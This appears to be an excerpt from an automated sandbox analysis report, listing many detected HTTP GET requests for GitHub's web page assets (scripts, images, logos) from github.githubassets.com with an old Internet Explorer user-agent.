Source: global traffic	HTTP traffic detected: GET /assets/wp-runtime-f35b332dbe90.js HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/vendors-node_modules_dompurify_dist_purify_js-b73fdff77a4e.js HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/vendors-node_modules_oddbird_popover-polyfill_dist_popover_js-56729c905fe2.js HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/vendors-node_modules_github_arianotify-polyfill_ariaNotify-polyfill_js-node_modules_github_mi-247092-b9c7cf3107b7.js HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/environment-2f240f7ed1b3.js HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/ui_packages_failbot_failbot_ts-aabfa4ec15fe.js HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/vendors-node_modules_primer_behaviors_dist_esm_index_mjs-4aa4b0e95669.js HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/vendors-node_modules_github_selector-observer_dist_index_esm_js-f690fd9ae3d5.js HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/vendors-node_modules_github_auto-complete-element_dist_index_js-a164c5ea9f62.js HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/vendors-node_modules_github_relative-time-element_dist_index_js-6d3967acd51c.js HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/vendors-node_modules_github_text-expander-element_dist_index_js-e40ed7658a74.js HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-d1a841-8f251a0656e7.js HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-f4b251-f7c3b6081b19.js HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_stacktrace-parser_dist_s-6b2a62-6fef0f2ad42a.js HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_primer_view-co-eb9d54-74622d897749.js HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/github-elements-36d7dcef5a08.js HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/element-registry-f52a50a0449b.js HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/vendors-node_modules_github_catalyst_lib_index_js-node_modules_primer_live-region-element_dis-428401-bb66ac5d7472.js HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/vendors-node_modules_braintree_browser-detection_dist_browser-detection_js-node_modules_githu-bb80ec-634de60bacfa.js HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/vendors-node_modules_lit-html_lit-html_js-ce7225a304c5.js HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/vendors-node_modules_github_hydro-analytics-client_dist_analytics-client_js-node_modules_gith-f3aee1-e6893db9c19e.js HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_morphdom_dist_morphdom-e-7c534c-f8a5485c982a.js HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-893f9f-6cf3320416b8.js HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/vendors-node_modules_github_turbo_dist_turbo_es2017-esm_js-858e043fcf76.js HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/vendors-node_modules_scroll-anchoring_dist_scroll-anchoring_esm_js-node_modules_stacktrace-pa-a71630-67856ad29bae.js HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/vendors-node_modules_color-convert_index_js-0e07cc183eed.js HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/vendors-node_modules_github_quote-selection_dist_index_js-node_modules_github_session-resume_-9a8cd2-373766bf71f1.js HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/ui_packages_updatable-content_updatable-content_ts-3f4401350bd7.js HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/app_assets_modules_github_behaviors_task-list_ts-app_assets_modules_github_sso_ts-ui_packages-900dde-ab87c1d6c5c8.js HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/app_assets_modules_github_sticky-scroll-into-view_ts-112600808cf9.js HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/app_assets_modules_github_behaviors_ajax-error_ts-app_assets_modules_github_behaviors_include-d0d0a6-6faacedf87fe.js HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_assets_modules_github_behaviors_ht-83c235-aeae6fcdf371.js HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/behaviors-b32b736e8b72.js HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-06ff531-bf7e5a3732fd.js HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/notifications-global-54f34167118d.js HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_delegated-events_dist_in-bae876-1e5b19a38261.js HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/marketing-872ff8663359.js HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/marketing-experiments-6794cdd7dce1.js HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/home-fa7c9cc8a53c.js HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/webgl-globe-b8ac95da6496.js HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/vendors-node_modules_github_webgl-globe_dist_js_main_js-7ace716f3606.js HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/react-lib-7b7b5264f6c1.js HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_primer_react_lib-esm_Fea-39267a-9ffd541aafbc.js HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/vendors-node_modules_primer_react_lib-esm_Button_Button_js-f36ad879d477.js HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/vendors-node_modules_primer_react_lib-esm_TooltipV2_Tooltip_js-e39b44f27fbb.js HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/vendors-node_modules_primer_react_lib-esm_ActionList_index_js-540a2acf621f.js HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/vendors-node_modules_primer_react_lib-esm_KeybindingHint_KeybindingHint_js-node_modules_githu-3fe5e5-779b0a7957e4.js HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/vendors-node_modules_primer_react_lib-esm_Dialog_Dialog_js-node_modules_primer_react_lib-esm_-34d71e-a36ca1cac968.js HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/ui_packages_react-core_create-browser-history_ts-ui_packages_react-core_AppContextProvider_ts-ffb979-ed6ff1fbeca4.js HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/keyboard-shortcuts-dialog-3d3b90edc171.js HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/sessions-f3ddee0032e4.js HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-94fd67-9a621ecbf672.js HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/thumbnail-31b2a20df6fc.png HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/play-1844e8414ade.png HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/hero-desktop-a38b0fd77b6c.webp HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/hero-mobile-7163f4f5de41.webp HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/3m-0151c2fda0ce.svg HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/kpmg-c249f20c5173.svg HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/sap-96248a56d312.svg HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/mercedes-fcf97d2d6ec4.svg HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
